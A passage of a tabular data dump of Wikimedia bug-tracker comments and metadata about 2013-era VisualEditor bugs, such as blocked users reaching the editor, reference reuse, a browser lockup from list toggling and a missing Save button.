+https://gerrit.wikimedia.org/r/119204",,,1395874946,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6wbe37ccwgagtoa3kdhv,task_subcomment,,True,c1,3,False,,,38,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+232635,VisualEditor: Blocked users are not blocked from using VE (just from saving); should instead show <Blockedtext> with log entry,"Change 119204 had a related patch set uploaded by Alex Monk:
+Show blockedtext message in edit notices
+
+https://gerrit.wikimedia.org/r/119204",,,1395091521,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6wbe37ccwgagtoa3kdhv,task_subcomment,,True,c1,3,False,,,37,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+232630,VisualEditor: Blocked users are not blocked from using VE (just from saving); should instead show <Blockedtext> with log entry,"(In reply to Roan Kattouw from comment #4)
+> We already put random junk in the paction=parse response, I wouldn't be
+> opposed to adding blocked-ness to that. Another paction would be OK too, but
+> then we'd have to make two API requests.
+> 
+> There are significant speed benefits in combining everything into one API
+> request. I think we should stop kidding ourselves that paction=parse is a
+> clean, only-does-one-thing action, and perhaps rename it if we want, rather
+> than trying to split it into separate actions, because the latter would just
+> make client-side performance worse.
+
+Yes, since writing that comment I decided to just add it in to paction=parse, especially since talking to James - he wants this to be an edit notice like the others. I probably should have left a new comment about it.
+
+The problem now is coming up with a nice way to fit the autoblockedtext message (blockedtext is okay) in to the edit notices popup.",,,1395077371,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-6wbe37ccwgagtoa3kdhv,task_subcomment,,True,c1,3,True,,,37,,0,1,0,0,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,1,1,1,0,1
+232627,VisualEditor: Blocked users are not blocked from using VE (just from saving); should instead show <Blockedtext> with log entry,"(In reply to Alex Monk from comment #3)
+> James suggested I tackle this bug. I messed around with the API for a little
+> bit and assuming I didn't miss anything:
+> 
+> I think that if we tried to fill out the 'blockedtext' message properly on
+> the client we'd have to:
+> * Query the API for the user's blockinfo to determine whether or not they're
+> blocked. If they are:
+> ** Query the API for more info about this block which
+> meta=userinfo&uiprop=blockinfo doesn't provide but we need to substitute
+> into the message (expiry, user, timestamp).
+> ** Query the API to parse the blockedtext message because it can't be done
+> on the client (even the default message includes stuff mw.msg can't handle)
+> ** Substitute the data we have into the message (and we still won't have $3
+> - the current IP)
+> *** Mess around with dates/times because they won't be in the right format.
+> 
+> Another way we could do this is return the full warning from
+> action=visualeditor&paction=parse (therefore adding no extra API requests)
+> which would cause the client to stop loading. I don't like this idea because
+> obviously that paction is not intended for checking this kind of thing...
+> 
+> Or we could ignore the core blockedtext message and use our own ""Your
+> username or IP address has been blocked"", possibly with the info that just
+> meta=userinfo&uiprop=blockinfo provides (block ID, performer, reason).
+> 
+> Or we could add a new API module/paction that can be queried once and
+> provides all the relevant info. I don't like this idea either but it seems
+> the nicest.
+> 
+We already put random junk in the paction=parse response, I wouldn't be opposed to adding blocked-ness to that. Another paction would be OK too, but then we'd have to make two API requests.
+
+There are significant speed benefits in combining everything into one API request. I think we should stop kidding ourselves that paction=parse is a clean, only-does-one-thing action, and perhaps rename it if we want, rather than trying to split it into separate actions, because the latter would just make client-side performance worse.",,,1395076588,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-6wbe37ccwgagtoa3kdhv,task_subcomment,,True,c1,3,False,,,37,,1,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1
+232624,VisualEditor: Blocked users are not blocked from using VE (just from saving); should instead show <Blockedtext> with log entry,"James suggested I tackle this bug. I messed around with the API for a little bit and assuming I didn't miss anything:
+
+I think that if we tried to fill out the 'blockedtext' message properly on the client we'd have to:
+* Query the API for the user's blockinfo to determine whether or not they're blocked. If they are:
+** Query the API for more info about this block which meta=userinfo&uiprop=blockinfo doesn't provide but we need to substitute into the message (expiry, user, timestamp).
+** Query the API to parse the blockedtext message because it can't be done on the client (even the default message includes stuff mw.msg can't handle)
+** Substitute the data we have into the message (and we still won't have $3 - the current IP)
+*** Mess around with dates/times because they won't be in the right format.
+
+Another way we could do this is return the full warning from action=visualeditor&paction=parse (therefore adding no extra API requests) which would cause the client to stop loading. I don't like this idea because obviously that paction is not intended for checking this kind of thing...
+
+Or we could ignore the core blockedtext message and use our own ""Your username or IP address has been blocked"", possibly with the info that just meta=userinfo&uiprop=blockinfo provides (block ID, performer, reason).
+
+Or we could add a new API module/paction that can be queried once and provides all the relevant info. I don't like this idea either but it seems the nicest.
+
+Thoughts?",,,1392078894,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-6wbe37ccwgagtoa3kdhv,task_subcomment,,True,c1,3,True,,,32,,1,1,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,1,0,0,1,1,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,0
+232621,VisualEditor: Blocked users are not blocked from using VE (just from saving); should instead show <Blockedtext> with log entry,"Created attachment 12954
+What a blocked user sees immediately they the source editor loads
+
+**Attached**: {F11061}",,,1374711764,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-6wbe37ccwgagtoa3kdhv,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0
+232615,VisualEditor: Blocked users are not blocked from using VE (just from saving); should instead show <Blockedtext> with log entry,"Created attachment 12953
+What a blocked user sees when they try to save an edit in VE
+
+**Attached**: {F11060}",,,1374711656,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-6wbe37ccwgagtoa3kdhv,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+54000,VisualEditor: Can't re-use a reference belonging to non-default group,"Users can't reuse a reference belonging to non-default group. It's just not shown on the list and I've been unable to get such refs to show up there.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51838",High,80.0,1374710220,1377889863.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-qsnt7zdtnfm5xnawmteg,task_description,resolved,True,c1,3,True,False,True,3,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+232338,VisualEditor: Can't re-use a reference belonging to non-default group,"Change 81964 merged by jenkins-bot:
+Re-build reference search index so they can be used mid-edit
+
+https://gerrit.wikimedia.org/r/81964",,,1377889947,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qsnt7zdtnfm5xnawmteg,task_subcomment,,True,c1,3,False,,,8,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+232332,VisualEditor: Can't re-use a reference belonging to non-default group,Now fixed in master and will be deployed next week.,,,1377889863,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qsnt7zdtnfm5xnawmteg,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+232323,VisualEditor: Can't re-use a reference belonging to non-default group,"Change 81964 had a related patch set uploaded by Trevor Parscal:
+Bug 51689 & 52000 - Reusing new references
+
+https://gerrit.wikimedia.org/r/81964",,,1377885714,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qsnt7zdtnfm5xnawmteg,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+232316,VisualEditor: Can't re-use a reference belonging to non-default group,"Change 81964 had a related patch set uploaded by Trevor Parscal:
+Bug 52000 - Reusing new reference groups
+
+https://gerrit.wikimedia.org/r/81964",,,1377885380,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qsnt7zdtnfm5xnawmteg,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+232311,VisualEditor: Can't re-use a reference belonging to non-default group,"This works if the group exists when VE loads the page, but if the group is added after load then it's items don't show up in the search.",,,1377881801,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-qsnt7zdtnfm5xnawmteg,task_subcomment,,True,c1,3,False,,,8,,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+53999,VisualEditor: Saving fails silently for some blocked users,"A user on en.wp has reported the following:
+
+""Editing anonymously from my school computers is blocked, and for fun I tried editing a page using VE. It lets me edit the page fully, ''until'' I try to click the save page button. No matter how many times I click it it doesn't save, but there's no notification telling me why it doesn't save. A bit weird really""
+
+I blocked my legitimate alternate user and then tried to edit a page. The editor loaded fine but when I clicked to save the edit I saw the message:
+""Error loading data from server: Unsuccessful request: You have been blocked from editing.""
+
+I am on a shared connection so I do not want to do any testing of ipblocks, etc.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52004",High,80.0,1374709740,1396032185.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-a2p56mvfah4kifyqy327,task_description,resolved,True,c1,3,False,False,False,3,,1,0,1,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+232271,VisualEditor: Saving fails silently for some blocked users,This was fixed in the fix for bug 52004.,,,1396032185,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-a2p56mvfah4kifyqy327,task_subcomment,,True,c1,3,True,,,38,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+232260,VisualEditor: Saving fails silently for some blocked users,"The original reporter, numbermaniac, has done some additional testing and found that they do see the message when pressing save in Chrome on Windows 7. Their initial report was using iMac Safari.
+
+My testing was done using Firefox 22 on Xubuntu Linux",,,1374742787,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-a2p56mvfah4kifyqy327,task_subcomment,,True,c1,3,False,,,3,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+53995,VisualEditor: Thumb images are missing appropriate CSS classes,"For instance instead of class 'tright' or 'tleft' just class 't' gets added. It is regression of this change: https://gerrit.wikimedia.org/r/#/c/75526/
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1374704160,1374793893.0,PHID-USER-s7sn3zjthnxvep34c5ho,False,,False,PHID-TASK-xnmn6i6yc73dhywaqm2m,task_description,resolved,True,c1,3,False,False,True,3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0
+232089,VisualEditor: Thumb images are missing appropriate CSS classes,Now fixed in master and will be deployed in a few minutes' time.,,,1374793893,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xnmn6i6yc73dhywaqm2m,task_subcomment,,True,c1,3,True,,,3,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0
+232087,VisualEditor: Thumb images are missing appropriate CSS classes,"Change 75803 merged by jenkins-bot:
+Fix MWBlockImageNodes' default horizontal location code
+
+https://gerrit.wikimedia.org/r/75803",,,1374792604,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xnmn6i6yc73dhywaqm2m,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+232084,VisualEditor: Thumb images are missing appropriate CSS classes,"Change 75803 had a related patch set uploaded by Jforrester:
+(bug 51995) Bugfix
+
+https://gerrit.wikimedia.org/r/75803",,,1374705671,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xnmn6i6yc73dhywaqm2m,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+232080,VisualEditor: Thumb images are missing appropriate CSS classes,"Change 75803 had a related patch set uploaded by Inez:
+(bug 51995) Bugfix
+
+https://gerrit.wikimedia.org/r/75803",,,1374705278,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xnmn6i6yc73dhywaqm2m,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+53987,VisualEditor: Infinite loop (browser lockup) when removing an initial list item with a node inside it (rangy bug?),"Firefox - Detected script lockup.
+
+Misplacing a bulleted / numbered list can cause a script lockup. Tested on both Firefox 22 and Chrome 28
+
+Steps to reproduce:
+- Navigate to [[Lauda Air Flight 004]] and open it with the visual editor.
+- Click the ""Lauda Air Flight 004"" infobox and make sure it remains selected.
+- Click the ""Bulleted List"" button. A list bullet is added to the article.
+- Click right after the bullet that was just inserted. Now click the ""Bulleted list"" button again.
+
+Normally this would remove the bullet again. Instead of that both Firefox and Chrome seem to lock up. Firefox will lock up entirely (All open tabs will freeze) and eventually an unresponsive script error will be displayed. Cancelling the script allows you to regain browser control. On Chrome the lockup seems isolated to the tab where we edit Wikipedia, but it only offers the option to close the tab after a while (Losing all changes)
+
+In practice one would never want to add a bulleted list this way, but actually ""crashing"" makes it severe enough to report i would assume.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11897}",High,80.0,1374695580,1383848723.0,PHID-USER-ohetl546bwt5ac2szu5w,False,,False,PHID-TASK-ph24e22ltq2s3oztatem,task_description,resolved,True,c1,3,False,False,False,3,,1,0,1,1,0,1,0,0,0,0,1,0,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+255102,VisualEditor: Infinite loop (browser lockup) when removing an initial list item with a node inside it (rangy bug?),"Resetting to FIXED; this was a confirmed broken behaviour which has subsequently been FIXED, as far as we can tell - probably by the re-write of the Content Editable surface interaction model.",,,1383848723,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ph24e22ltq2s3oztatem,task_subcomment,,True,c1,3,True,,,18,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+255097,VisualEditor: Infinite loop (browser lockup) when removing an initial list item with a node inside it (rangy bug?),"(In reply to comment #3)
+> Cannot reproduce it now with MAC OS using FireFox and Chrome.
+
+Please ALWAYS provide version information for browsers. 
+Note that comment 0 says ""Tested on both Firefox 22 and Chrome 28"".
+
+> So changing the status of the bug as resolved.
+
+No identifiable code commit, hence changing to WORKSFORME instead of FIXED. Also see https://www.mediawiki.org/wiki/Bug_management/Bug_report_life_cycle",,,1383813525,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ph24e22ltq2s3oztatem,task_subcomment,,True,c1,3,True,,,18,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,1,0,1,1,1,1,1,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+255092,VisualEditor: Infinite loop (browser lockup) when removing an initial list item with a node inside it (rangy bug?),"Cannot reproduce it now with MAC OS using FireFox and Chrome.So changing the status of the bug as resolved.
+If you can still reproduce it ,please reopen the bug.",,,1383785800,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-ph24e22ltq2s3oztatem,task_subcomment,,True,c1,3,False,,,18,,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+255087,VisualEditor: Infinite loop (browser lockup) when removing an initial list item with a node inside it (rangy bug?),This is an infinite loop inside either Rangy or the bit of ContentEditable that calls it - lots of calls to sel.getRangeAt(index) which end up taking so long that the browser dies (?),,,1380836632,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ph24e22ltq2s3oztatem,task_subcomment,,True,c1,3,True,,,13,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+255082,VisualEditor: Infinite loop (browser lockup) when removing an initial list item with a node inside it (rangy bug?),We should have a 'crash' or 'dataloss' keyword.  Bumping priority to get more attention/triaging in case the underlying cause is able to be triggered in other ways.,,,1380534678,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ph24e22ltq2s3oztatem,task_subcomment,,True,c1,3,False,,,13,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,1,0,1,1,0,0
+53986,"VisualEditor: Action buttons of the toolbar (including ""Save"") don't appear on some articles in Firefox because error is thrown","The particular article in the URL field of this bug report doesn't not display the Save button in Firefox.
+
+The Save button is displayed in Chrome, and it is displayed in other articles in Firefox.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://he.wikipedia.org/wiki/%D7%A9%D7%93_%28%D7%9E%D7%99%D7%AA%D7%95%D7%9C%D7%95%D7%92%D7%99%D7%94%29?veaction=edit",High,80.0,1374694260,1374700983.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-nlgy7km52ntxkqvlqnu2,task_description,resolved,True,c1,3,False,False,True,3,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+255045,"VisualEditor: Action buttons of the toolbar (including ""Save"") don't appear on some articles in Firefox because error is thrown",This is now fixed in master; we will make sure it is deployed tomorrow.,,,1374700983,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nlgy7km52ntxkqvlqnu2,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+255041,"VisualEditor: Action buttons of the toolbar (including ""Save"") don't appear on some articles in Firefox because error is thrown","Change 75785 merged by jenkins-bot:
+Fix the save button disappearing on certain pages in Firefox
+
+https://gerrit.wikimedia.org/r/75785",,,1374700767,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nlgy7km52ntxkqvlqnu2,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+255034,"VisualEditor: Action buttons of the toolbar (including ""Save"") don't appear on some articles in Firefox because error is thrown","Change 75785 had a related patch set uploaded by Catrope:
+Fix the save button disappearing on certain pages in Firefox
+
+https://gerrit.wikimedia.org/r/75785",,,1374699991,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nlgy7km52ntxkqvlqnu2,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+255026,"VisualEditor: Action buttons of the toolbar (including ""Save"") don't appear on some articles in Firefox because error is thrown","Another article where this happens:
+
+https://he.wikipedia.org/wiki/%D7%A4%D7%9C%D7%99%D7%98%D7%99_%D7%9E%D7%9C%D7%97%D7%9E%D7%AA_%D7%94%D7%90%D7%96%D7%A8%D7%97%D7%99%D7%9D_%D7%91%D7%A1%D7%95%D7%A8%D7%99%D7%94?veaction=edit",,,1374694774,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-nlgy7km52ntxkqvlqnu2,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0
+53984,VisualEditor: Clicking the hyper link button twice breaks the button.,"(Tested in Firefox 22 and Chrome 28)
+
+Steps to reproduce:
+- Open [[Portland Ice Arena (Oregon)]] with the visual editor.
+- Click the hyperlink button (Don't select anything). The hyperlink window should pop up.
+- Now click anywhere else in the article without entering any data in the hyperlink popup. 
+- An empty popup balloon will remain behind. There are no controls on that popup anymore.
+- Click around the article a bit - eventually that balloon will be removed. However, the link button will now fail to work no matter what you do.
+
+This may or may not be related to bug 48549, which seems to have been fixed in todays deployment.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1374691440,1433344352.0,PHID-USER-ohetl546bwt5ac2szu5w,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-wm36m5xxm3u54pgeyz4a,task_description,duplicate,True,c1,3,False,False,False,3,,1,1,0,1,1,1,1,0,0,0,1,1,1,0,1,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,0,1,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+254940,VisualEditor: Clicking the hyper link button twice breaks the button.,"
+
